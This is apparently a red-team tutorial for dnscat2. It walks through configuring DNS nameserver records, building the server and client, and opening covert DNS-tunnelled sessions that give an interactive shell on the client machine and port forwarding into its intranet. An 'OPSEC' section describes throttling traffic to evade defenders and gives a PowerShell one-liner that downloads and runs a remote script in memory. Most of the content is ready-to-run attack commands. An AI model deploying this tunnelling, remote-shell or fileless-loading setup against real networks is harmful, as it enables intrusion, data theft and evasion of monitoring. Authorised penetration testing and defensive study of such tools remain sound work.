dnscat2 uses a client server architecture to tunnel traffic via UDP and/or DNS queries. It can be used to bypass firewalls and execute commands on the machine running the client. It can also be used to to tunnel traffic from the server to the internal network of the client through the client itself.
DNS setup
This step is mandatory only if you want to encapsulate traffic in DNS queries instead of relying on direct UDP connections to the dnscat2 server. Before running the server it’s better to setup a nameserver entry in the domain’s DNS in order to be able to tunnel traffic through DNS queries. To do so, use your domain’s DNS dashboard and add a NS entry pointing to a subdomain of your choice and specifying the domain name of the server you will run dnscat2 on.
In the following example I edited notso.pro
DNS in order to add an A entry making c2.notso.pro
point to 135.181.147.181
and then I added a NS entry making c2.notso.pro
the authoritative nameserver of the dns.notso.pro
subdomain. Dnscat2 will be run on c2.notso.pro
and will listen for DNS queries for dns.notso.pro
.
Compilation
The server runs on ruby and can be compiled through:
$ sudo apt-get install ruby-dev
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
The client is written in C and can be compiled through
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
Compiled binaries for both Windows and Linux are available at https://downloads.skullsecurity.org/dnscat2/
Usage
Server
To start dnscat2’s server run
$ cd dnscat2/server/
$ sudo ruby dnscat2.rb DOMAIN
where DOMAIN
is the domain for which the host is the nameserver (dns.notso.pro
using the previous example)
Troubleshooting
If an Address already in use - bind(2) for "0.0.0.0" port 53
type of error is thrown, check if something is already listening on port 53. On Ubuntu, systemd-resolver listens on a private address on port 53. To bypass this hurdle, specify an interface for dnscat2 to listen on:
$ sudo ruby dnscat2.rb --dns 'host=PUBLIC_IP' dns.notso.pro
where PUBLIC_IP
is the IP of an interface reachable from the internet (135.181.147.181
using the previous example).
Also, I had a few problems with dnscat2 because of Ubuntu’s ufw firewall. Add a rule to allow dnscat2 to work or just straight up disable it if you are feeling brave.
Take note of the output of the server as it will be needed later
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):
./dnscat --secret=2a0d429795596f95e70b6f87f5ba81ac dns.notso.pro
To talk directly to the server without a domain name, run:
./dnscat --dns server=x.x.x.x,port=53 --secret=2a0d429795596f95e70b6f87f5ba81ac
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
Client
As previously mentioned, there are two ways of making the client communicate with the server:
- Direct UDP connection
- DNS Queries
Direct UDP connection
Direct UDP connections to the dnscat2 server imply that the client must be able to connect to the server directly, which is rarely the case if a firewall is present between the client and the server. To connect using a UDP connection to the server run
$ cd dnscat2/client
$ ./dnscat --dns server=PUBLIC_IP,port=53 --secret=SECRET
where PUBLIC_IP
is the IP address of the interface where the dnscat2 server is listening on (135.181.147.181
using the previous example) and SECRET
is the pre-shared key generated by the server at runtime (2a0d429795596f95e70b6f87f5ba81ac
using the previous example).
DNS Queries
If a firewall which filters internet connections is present, we can rely on DNS queries. These are able to bypass the firewall because the machine dnscat2 client is running on sends them to a legitimate DNS server (e.g. Google’s 8.8.8.8), which in turns sends them to our rogue nameserver, where dnscat2 server is running on. This is how DNS works. To run dnscat2 client in this mode execute
$ cd dnscat2/client
$ ./dnscat --secret=SECRET DOMAIN
where SECRET
is the pre-shared key generated by the server at runtime (2a0d429795596f95e70b6f87f5ba81ac
using the previous example) and DOMAIN
is the domain for which the host is the nameserver (dns.notso.pro
using the previous example)
Session
Once executed, a new session is opened on the server
dnscat2> New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
To interact with it just run session -i 1
.
Commands
A number of commands are available and useful
session -i X
whereX
is the session you want to interact withshell
which, when run in a specific session, spawns a new session with an interactive shell on the client machinelisten LOCALIP:LOCALPORT REMOTEIP:REMOTEPORT
which, when run in a specific session, creates a listener on the server’sLOCALIP:LOCALPORT
which sends traffic through the tunnel toREMOTEIP:REMOTEPORT
, effectively allowing the server to, for example, connect to machines in the client’s intranet
Other commands such as download, upload, etc. are available and can be viewed using the help
command while interacting with a specific session. Specific command’s help can be obtained by running COMMAND -h
where COMMAND
is the command you want help on.
OPSEC considerations
- dnscat2’s client can be used without the
--secret
switch, but the traffic will be sent unencrypted - the
delay
command can be used to set a sleep time (in seconds) to slow down dnscat2’s comms and make it more difficult for defenders to catch it - to avoid copying dnscat2’s client on Windows machines, a powershell version which can be executed in memory is obtainable at https://github.com/lukebaggett/dnscat2-powershell. The author advises using it on a server started with the
--no-cache
option. The script supports the-Delay
switch.PS > iex (iwr 'https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1' -usebasicparsing)` PS > Start-Dnscat2 -Domain DOMAIN -PreSharedSecret SECRET